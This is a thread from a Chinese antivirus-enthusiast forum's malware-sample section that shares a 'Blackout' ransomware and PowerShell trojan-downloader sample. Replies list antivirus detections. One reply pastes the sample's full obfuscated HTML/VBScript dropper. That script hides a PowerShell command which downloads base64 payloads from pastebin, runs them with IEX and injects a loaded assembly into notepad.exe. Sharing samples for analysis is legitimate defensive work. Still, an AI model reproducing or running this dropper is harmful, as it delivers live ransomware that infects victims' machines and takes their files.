收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › #Blackout #Ransomware #Powershell #TrojanDownloader ...
返回列表 发新帖
查看: 976|回复: 7
收起左侧

[病毒样本] #Blackout #Ransomware #Powershell #TrojanDownloader (2020-04-28)

[复制链接]
QVM360
发表于 2020-4-28 22:12:17 | 显示全部楼层 |阅读模式
本帖最后由 QVM360 于 2020-4-28 22:22 编辑

https://www.lanzous.com/ic1sdmb

VT全绿！https://www.virustotal.com/gui/file/3735e309a6e3375db98a90473121e4aa0e0be1681d6f8f74e94905be738259e7/detection

回复

举报

mr_bean_forever
发表于 2020-4-28 22:18:06 | 显示全部楼层
GDATA 扫描杀1.html。剩下一个BAT
回复

举报

YorkWaugh
发表于 2020-4-28 22:21:29 | 显示全部楼层
俺iPad访问了，http打不开，https显示这样一串
<script>
<!--
document.write(unescape("%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%22%3E%0ASet%20mmn%20%3D%20CreateObject%28StrReverse%28%22llehS.tpircSW%22%29%29%0Allll%20%3D%20%22p%22%20+%20%22o%22%20+%20%22w%22%20+%20%22e%22%20+%20%22r%22%20+%20%22she%22%20+%20%22ll%20do%20%7B%24ping%20%3D%20test-connection%20-comp%20google.com%20-count%201%20-Quiet%7D%20until%20%28%24ping%29%3B%24p22%20%3D%20%5BEnum%5D%3A%3AToObject%28%5BSystem.Net.Secu%22%20+%20%22rityProtocolType%5D%2C%203072%29%3B%5BSystem.Net.ServicePointManager%5D%3A%3ASecurityProtocol%20%3D%20%24p22%3B%24t%3D%20New-Object%20-Com%20Microsoft.XMLHTTP%3B%24t.open%28%27GET%27%2C%27%22%20+%20%22%22%20+%20%22h%22%20+%20%22t%22%20+%20%22t%22%20+%20%22p%22%20+%20%22s%22%20+%20%22%3A//pastebin.com%22%20+%20%22/raw/%22%20+%20%228Zeb%22%20+%20%22E1MG%27%2C%24false%29%3B%24t.send%28%29%3B%24ty%3D%5BText.Encoding%5D%3A%3A%27UTF8%27.%27GetString%27%28%5BConvert%5D%3A%3A%27FromBase64String%27%28%24t.responseText%29%29%7CI%60E%60X%3B%5BByte%5B%5D%5D%24Cli2%3D%20iex%28iex%28%27%28%26%28GCM%20*W-O*%29%27+%20%27Net.%27+%27WebC%27+%27lient%29%27+%27.Dow%27+%27nload%27+%27Str%27+%27ing%28%27%27%22%20+%20%22h%22%20+%20%22t%22%20+%20%22t%22%20+%20%22p%22%20+%20%22s%22%20+%20%22%3A//%2540%2540@p%22%20+%20%22asteb%22%20+%20%22in%22%20+%20%22.%22%20+%20%22c%22%20+%20%22o%22%20+%20%22m%22%20+%20%22/%22%20+%20%22raw%22%20+%20%22/%22%20+%20%222Qpmy6Hr%27%27%29.replace%28%27%27%28%5E%5E_%26*%29%27%27%2C%27%270x%27%27%29%27%29%29%20%7C%20g%3B%24t%3D%5BSystem.Reflection.Assembly%5D%3A%3ALoad%28%24decompressedByteArray%29%3B%5BGivara%5D%3A%3AFreeDom%28%27notepad.exe%27%2C%24Cli2%29%22%0A%0Ammn.Run%20llll%2C%20vbHide%0A%0A%0A%0A%0Aself.close%0A%3C/script%3E"));
//-->
</script>
回复

举报

LSPD
发表于 2020-4-28 22:23:46 | 显示全部楼层
eset

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

petr0vic
发表于 2020-4-28 22:29:17 | 显示全部楼层
https://www.virustotal.com/gui/f ... 4afc45928/detection
drop
First Submission        2020-04-25
~47 engines detected this file
https://virustotal.com/en/file/0 ... ff95781a4/analysis/
回复

举报

a233
发表于 2020-4-28 22:54:02 | 显示全部楼层
Avast报1.html Other:Malware-gen [Trj]
bat双击拦截网址

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

Black_lonely
发表于 2020-4-28 23:13:19 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

epattack
发表于 2020-4-29 08:42:04 | 显示全部楼层
微点miss
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-1 16:17 , Processed in 0.126062 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表